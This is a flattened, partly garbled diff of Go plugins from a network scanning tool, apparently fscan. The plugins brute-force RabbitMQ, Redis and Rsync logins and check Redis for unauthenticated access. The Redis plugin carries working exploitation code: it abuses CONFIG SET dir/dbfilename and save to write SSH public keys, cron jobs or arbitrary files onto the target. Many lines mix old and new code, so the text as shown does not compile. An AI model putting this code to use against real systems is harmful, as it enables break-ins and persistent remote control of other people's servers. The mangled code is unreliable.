// tryRabbitMQCredential 尝试单个RabbitMQ凭据
func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
var lastErr error
var errorMsg string
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &RabbitMQScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
ErrorMsg: "全局超时",
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err, detailErr := RabbitMQConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &RabbitMQScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
errorMsg = detailErr
// 打印详细的错误信息,包括所有原始错误信息
Common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s",
credential.Username, credential.Password, errorMsg))
if err != nil {
// 可以根据错误信息类型来决定是否需要重试
// 例如,如果错误是认证错误,则无需重试
if strings.Contains(errorMsg, "ACCESS_REFUSED") {
Common.LogDebug("认证错误,无需重试")
break
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried+1)) return &RabbitMQScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
ErrorMsg: errorMsg,
}
} }
// RabbitMQConn 尝试 RabbitMQ 连接 // RabbitMQConn 尝试 RabbitMQ 连接
func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error) { func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error, string) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 构造 AMQP URL // 构造 AMQP URL
amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port) amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port)
// 配置连接 // 创建结果通道
config := amqp.Config{ resultChan := make(chan struct {
Dial: func(network, addr string) (net.Conn, error) { success bool
return net.DialTimeout(network, addr, timeout) err error
detailErr string
}, 1)
// 在协程中尝试连接
go func() {
// 配置连接
config := amqp.Config{
Dial: func(network, addr string) (net.Conn, error) {
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}
return dialer.DialContext(ctx, network, addr)
},
}
// 尝试连接
conn, err := amqp.DialConfig(amqpURL, config)
if err != nil {
detailErr := err.Error()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
detailErr string
}{false, err, detailErr}:
}
return
}
defer conn.Close()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
detailErr string
}{true, nil, ""}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err, result.detailErr
case <-ctx.Done():
return false, ctx.Err(), ctx.Err().Error()
}
}
// saveRabbitMQResult 保存RabbitMQ扫描结果
func saveRabbitMQResult(info *Common.HostInfo, target string, credential RabbitMQCredential) {
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rabbitmq",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult)
// 尝试连接
conn, err := amqp.DialConfig(amqpURL, config)
if err != nil {
return false, err
}
defer conn.Close()
// 如果成功连接
if conn != nil {
return true, nil
}
return false, fmt.Errorf("认证失败")
} }

View File

@ -2,12 +2,15 @@ package Plugins
import ( import (
"bufio" "bufio"
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"io" "io"
"net" "net"
"os" "os"
"path/filepath"
"strings" "strings"
"sync"
"time" "time"
) )
@ -16,29 +19,76 @@ var (
dir string // Redis数据库目录 dir string // Redis数据库目录
) )
type RedisCredential struct {
Password string
}
type RedisScanResult struct {
Success bool
IsUnauth bool
Error error
Credential RedisCredential
}
func RedisScan(info *Common.HostInfo) error { func RedisScan(info *Common.HostInfo) error {
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports)) Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
starttime := time.Now().Unix()
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 先尝试无密码连接 // 先尝试无密码连接
flag, err := RedisUnauth(info) resultChan := make(chan *RedisScanResult, 1)
if flag && err == nil { go func() {
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s:%v", info.Host, info.Ports)) flag, err := RedisUnauth(ctx, info)
if flag && err == nil {
// 保存未授权访问结果 resultChan <- &RedisScanResult{
result := &Common.ScanResult{ Success: true,
Time: time.Now(), IsUnauth: true,
Type: Common.VULN, Error: nil,
Target: info.Host, Credential: RedisCredential{Password: ""},
Status: "vulnerable", }
Details: map[string]interface{}{ return
"port": info.Ports,
"service": "redis",
"type": "unauthorized",
},
} }
Common.SaveResult(result) resultChan <- nil
return nil }()
// 等待无密码连接结果或超时
select {
case result := <-resultChan:
if result != nil && result.Success {
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s", target))
// 保存未授权访问结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "redis",
"type": "unauthorized",
},
}
Common.SaveResult(scanResult)
// 如果配置了写入功能,进行漏洞利用
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") {
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err == nil {
defer conn.Close()
ExploitRedis(ctx, info, conn, "")
}
}
return nil
}
case <-ctx.Done():
Common.LogError(fmt.Sprintf("Redis无密码连接测试超时: %s", target))
return fmt.Errorf("全局超时")
} }
if Common.DisableBrute { if Common.DisableBrute {
@ -46,111 +96,280 @@ func RedisScan(info *Common.HostInfo) error {
return nil return nil
} }
// 遍历密码字典 // 使用密码爆破
for _, pass := range Common.Passwords { credentials := generateRedisCredentials(Common.Passwords)
// 检查是否超时 Common.LogDebug(fmt.Sprintf("开始尝试密码爆破 (总密码数: %d)", len(credentials)))
if time.Now().Unix()-starttime > int64(Common.Timeout) {
errMsg := fmt.Sprintf("Redis扫描超时: %s:%v", info.Host, info.Ports) // 使用工作池并发扫描
Common.LogError(errMsg) result := concurrentRedisScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
return fmt.Errorf(errMsg) if result != nil {
// 记录成功结果
Common.LogSuccess(fmt.Sprintf("Redis认证成功 %s [%s]", target, result.Credential.Password))
// 保存弱密码结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "redis",
"type": "weak-password",
"password": result.Credential.Password,
},
}
Common.SaveResult(scanResult)
// 如果配置了写入功能,进行漏洞利用
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") {
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err == nil {
defer conn.Close()
// 认证
authCmd := fmt.Sprintf("auth %s\r\n", result.Credential.Password)
conn.Write([]byte(authCmd))
readreply(conn)
ExploitRedis(ctx, info, conn, result.Credential.Password)
}
} }
pass = strings.Replace(pass, "{user}", "redis", -1) return nil
Common.LogDebug(fmt.Sprintf("尝试密码: %s", pass)) }
var lastErr error // 检查是否因为全局超时
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { select {
if retryCount > 0 { case <-ctx.Done():
Common.LogDebug(fmt.Sprintf("第 %d 次重试: %s", retryCount+1, pass)) Common.LogError(fmt.Sprintf("Redis扫描全局超时: %s", target))
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s", target))
return nil
}
}
// generateRedisCredentials 生成Redis密码列表
func generateRedisCredentials(passwords []string) []RedisCredential {
var credentials []RedisCredential
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", "redis", -1)
credentials = append(credentials, RedisCredential{
Password: actualPass,
})
}
return credentials
}
// concurrentRedisScan 并发扫描Redis服务
func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials []RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *RedisScanResult, 1)
workChan := make(chan RedisCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryRedisCredential(scanCtx, info, credential, timeoutMs, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
} }
}()
}
done := make(chan struct { // 发送工作
success bool go func() {
err error for i, cred := range credentials {
})
go func() {
success, err := RedisConn(info, pass)
done <- struct {
success bool
err error
}{success, err}
}()
var connErr error
select { select {
case result := <-done: case <-scanCtx.Done():
if result.success { break
Common.LogSuccess(fmt.Sprintf("Redis登录成功 %s:%v [%s]", default:
info.Host, info.Ports, pass)) Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
workChan <- cred
// 保存弱密码结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "redis",
"type": "weak-password",
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
connErr = result.err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
connErr = fmt.Errorf("连接超时")
} }
if connErr != nil {
lastErr = connErr
errMsg := fmt.Sprintf("Redis尝试失败 %s:%v [%s] %v",
info.Host, info.Ports, pass, connErr)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(connErr); retryErr != nil {
if retryCount == Common.MaxRetries-1 {
Common.LogDebug(fmt.Sprintf("达到最大重试次数: %s", pass))
break
}
continue
}
}
break
} }
close(workChan)
}()
if lastErr != nil && Common.CheckErrs(lastErr) != nil { // 等待结果或完成
Common.LogDebug(fmt.Sprintf("Redis扫描中断: %v", lastErr)) go func() {
return lastErr wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Redis并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRedisCredential 尝试单个Redis凭据
func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &RedisScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
success, err := attemptRedisAuth(ctx, info, credential.Password, timeoutMs)
if success {
return &RedisScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
} }
} }
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s:%v", info.Host, info.Ports)) return &RedisScanResult{
return nil Success: false,
Error: lastErr,
Credential: credential,
}
}
// attemptRedisAuth 尝试Redis认证
func attemptRedisAuth(ctx context.Context, info *Common.HostInfo, password string, timeoutMs int64) (bool, error) {
// 创建独立于全局超时的单个连接超时上下文
connCtx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutMs)*time.Millisecond)
defer cancel()
// 结合全局上下文和连接超时上下文
mergedCtx, mergedCancel := context.WithCancel(connCtx)
defer mergedCancel()
// 监听全局上下文取消
go func() {
select {
case <-ctx.Done():
mergedCancel() // 全局超时会触发合并上下文取消
case <-connCtx.Done():
// 连接超时已经触发,无需操作
}
}()
connChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := RedisConn(info, password)
select {
case <-mergedCtx.Done():
case connChan <- struct {
success bool
err error
}{success, err}:
}
}()
select {
case result := <-connChan:
return result.success, result.err
case <-mergedCtx.Done():
if ctx.Err() != nil {
return false, fmt.Errorf("全局超时")
}
return false, fmt.Errorf("连接超时")
}
} }
// RedisUnauth 尝试Redis未授权访问检测 // RedisUnauth 尝试Redis未授权访问检测
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) { func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost)) Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
// 建立TCP连接 // 创建带超时的连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
if err != nil { defer cancel()
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
return false, err
}
defer conn.Close()
// 设置读取超时 connChan := make(chan struct {
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { conn net.Conn
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err)) err error
return false, err }, 1)
go func() {
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
select {
case <-connCtx.Done():
if conn != nil {
conn.Close()
}
case connChan <- struct {
conn net.Conn
err error
}{conn, err}:
}
}()
var conn net.Conn
select {
case result := <-connChan:
if result.err != nil {
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, result.err))
return false, result.err
}
conn = result.conn
case <-connCtx.Done():
return false, fmt.Errorf("连接超时")
} }
defer conn.Close()
// 发送info命令测试未授权访问 // 发送info命令测试未授权访问
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost)) Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
if _, err = conn.Write([]byte("info\r\n")); err != nil { if _, err = conn.Write([]byte("info\r\n")); err != nil {
@ -174,7 +393,7 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// 发现未授权访问,获取配置 // 发现未授权访问,获取配置
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost)) Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
dbfilename, dir, err := getconfig(conn) dbfilename, dir, err = getconfig(conn)
if err != nil { if err != nil {
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost) result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result) Common.LogSuccess(result)
@ -184,13 +403,6 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// 输出详细信息 // 输出详细信息
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result) Common.LogSuccess(result)
// 尝试漏洞利用
Common.LogDebug(fmt.Sprintf("尝试Redis %s 漏洞利用", realhost))
if err = Expoilt(realhost, conn); err != nil {
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
}
return true, nil return true, nil
} }
@ -245,22 +457,16 @@ func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s", result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
realhost, pass, dir, dbfilename) realhost, pass, dir, dbfilename)
Common.LogSuccess(result) Common.LogSuccess(result)
return true, nil
// 尝试利用
Common.LogDebug("尝试Redis利用")
err = Expoilt(realhost, conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("利用失败: %v", err))
}
return true, err
} }
Common.LogDebug("认证失败") Common.LogDebug("认证失败")
return false, err return false, fmt.Errorf("认证失败")
} }
// Expoilt 尝试Redis漏洞利用 // ExploitRedis 执行Redis漏洞利用
func Expoilt(realhost string, conn net.Conn) error { func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, password string) error {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost)) Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
// 如果配置为不进行测试则直接返回 // 如果配置为不进行测试则直接返回
@ -269,62 +475,92 @@ func Expoilt(realhost string, conn net.Conn) error {
return nil return nil
} }
// 测试目录写入权限 // 获取当前配置
Common.LogDebug("测试目录写入权限") var err error
flagSsh, flagCron, err := testwrite(conn) if dbfilename == "" || dir == "" {
if err != nil { dbfilename, dir, err = getconfig(conn)
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err)) if err != nil {
return err Common.LogError(fmt.Sprintf("获取Redis配置失败: %v", err))
return err
}
} }
// SSH密钥写入测试 // 检查是否超时
if flagSsh { select {
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost)) case <-ctx.Done():
return fmt.Errorf("全局超时")
// 如果指定了密钥文件则尝试写入 default:
if Common.RedisFile != "" {
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
writeok, text, err := writekey(conn, Common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost))
} else {
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
}
} else {
Common.LogDebug("未指定SSH密钥文件跳过写入")
}
} else {
Common.LogDebug("SSH目录不可写")
} }
// 定时任务写入测试 // 支持任意文件写入
if flagCron { if Common.RedisWritePath != "" && Common.RedisWriteContent != "" {
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost)) Common.LogDebug(fmt.Sprintf("尝试写入文件: %s", Common.RedisWritePath))
// 如果指定了shell命令则尝试写入定时任务 // 提取目录和文件名
if Common.RedisShell != "" { filePath := Common.RedisWritePath
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell)) dirPath := filepath.Dir(filePath)
writeok, text, err := writecron(conn, Common.RedisShell) fileName := filepath.Base(filePath)
if err != nil {
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
return err
}
if writeok { Common.LogDebug(fmt.Sprintf("目标目录: %s, 文件名: %s", dirPath, fileName))
Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost))
} else { success, msg, err := writeCustomFile(conn, dirPath, fileName, Common.RedisWriteContent)
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text)) if err != nil {
} Common.LogError(fmt.Sprintf("文件写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("成功写入文件: %s", filePath))
} else { } else {
Common.LogDebug("未指定shell命令跳过写入定时任务") Common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
}
}
// 支持从本地文件读取并写入
if Common.RedisWritePath != "" && Common.RedisWriteFile != "" {
Common.LogDebug(fmt.Sprintf("尝试从文件 %s 读取内容并写入到 %s", Common.RedisWriteFile, Common.RedisWritePath))
// 读取本地文件内容
fileContent, err := os.ReadFile(Common.RedisWriteFile)
if err != nil {
Common.LogError(fmt.Sprintf("读取本地文件失败: %v", err))
} else {
// 提取目录和文件名
dirPath := filepath.Dir(Common.RedisWritePath)
fileName := filepath.Base(Common.RedisWritePath)
success, msg, err := writeCustomFile(conn, dirPath, fileName, string(fileContent))
if err != nil {
Common.LogError(fmt.Sprintf("文件写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("成功将文件 %s 的内容写入到 %s", Common.RedisWriteFile, Common.RedisWritePath))
} else {
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
}
}
}
// 支持向SSH目录写入密钥向后兼容
if Common.RedisFile != "" {
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
success, msg, err := writekey(conn, Common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("SSH密钥写入成功"))
} else {
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %s", msg))
}
}
// 支持写入定时任务(向后兼容)
if Common.RedisShell != "" {
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
success, msg, err := writecron(conn, Common.RedisShell)
if err != nil {
Common.LogError(fmt.Sprintf("定时任务写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("定时任务写入成功"))
} else {
Common.LogError(fmt.Sprintf("定时任务写入失败: %s", msg))
} }
} else {
Common.LogDebug("Cron目录不可写")
} }
// 恢复数据库配置 // 恢复数据库配置
@ -336,7 +572,79 @@ func Expoilt(realhost string, conn net.Conn) error {
} }
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost)) Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
return err return nil
}
// writeCustomFile 向指定路径写入自定义内容
func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始向 %s/%s 写入内容", dirPath, fileName))
flag = false
// 设置文件目录
Common.LogDebug(fmt.Sprintf("设置目录: %s", dirPath))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))); err != nil {
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 设置文件名
if strings.Contains(text, "OK") {
Common.LogDebug(fmt.Sprintf("设置文件名: %s", fileName))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 写入内容
if strings.Contains(text, "OK") {
Common.LogDebug("写入文件内容")
// 处理多行内容,添加换行符
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"%s\"\r\n", safeContent))); err != nil {
Common.LogDebug(fmt.Sprintf("写入内容失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("文件写入成功")
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入文件完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
} }
// writekey 向Redis写入SSH密钥 // writekey 向Redis写入SSH密钥
@ -557,52 +865,6 @@ func readreply(conn net.Conn) (string, error) {
return string(bytes), err return string(bytes), err
} }
// testwrite 测试Redis写入权限
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
Common.LogDebug("开始测试Redis写入权限")
// 测试SSH目录写入权限
Common.LogDebug("测试 /root/.ssh/ 目录写入权限")
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("发送SSH目录测试命令失败: %v", err))
return flag, flagCron, err
}
text, err := readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取SSH目录测试响应失败: %v", err))
return flag, flagCron, err
}
Common.LogDebug(fmt.Sprintf("SSH目录测试响应: %s", text))
if strings.Contains(text, "OK") {
flag = true
Common.LogDebug("SSH目录可写")
} else {
Common.LogDebug("SSH目录不可写")
}
// 测试定时任务目录写入权限
Common.LogDebug("测试 /var/spool/cron/ 目录写入权限")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("发送定时任务目录测试命令失败: %v", err))
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取定时任务目录测试响应失败: %v", err))
return flag, flagCron, err
}
Common.LogDebug(fmt.Sprintf("定时任务目录测试响应: %s", text))
if strings.Contains(text, "OK") {
flagCron = true
Common.LogDebug("定时任务目录可写")
} else {
Common.LogDebug("定时任务目录不可写")
}
Common.LogDebug(fmt.Sprintf("写入权限测试完成 - SSH权限: %v, Cron权限: %v", flag, flagCron))
return flag, flagCron, err
}
// getconfig 获取Redis配置信息 // getconfig 获取Redis配置信息
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
Common.LogDebug("开始获取Redis配置信息") Common.LogDebug("开始获取Redis配置信息")

View File

@ -1,275 +1,483 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
) )
func RsyncScan(info *Common.HostInfo) (tmperr error) { // RsyncCredential 表示一个Rsync凭据
if Common.DisableBrute { type RsyncCredential struct {
return Username string
} Password string
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试匿名访问...")
// 首先测试匿名访问
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试匿名访问", retryCount+1))
}
flag, err := RsyncConn(info, "", "")
if flag && err == nil {
Common.LogSuccess(fmt.Sprintf("Rsync服务 %s 匿名访问成功", target))
// 保存匿名访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rsync",
"type": "anonymous-access",
},
}
Common.SaveResult(result)
return err
}
if err != nil {
Common.LogError(fmt.Sprintf("Rsync服务 %s 匿名访问失败: %v", target, err))
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue
}
}
break
}
totalUsers := len(Common.Userdict["rsync"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
for _, user := range Common.Userdict["rsync"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
flag, err := RsyncConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag && err == nil, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success {
Common.LogSuccess(fmt.Sprintf("Rsync服务 %s 爆破成功 用户名: %v 密码: %v",
target, user, pass))
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rsync",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
Common.LogError(fmt.Sprintf("Rsync服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err))
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
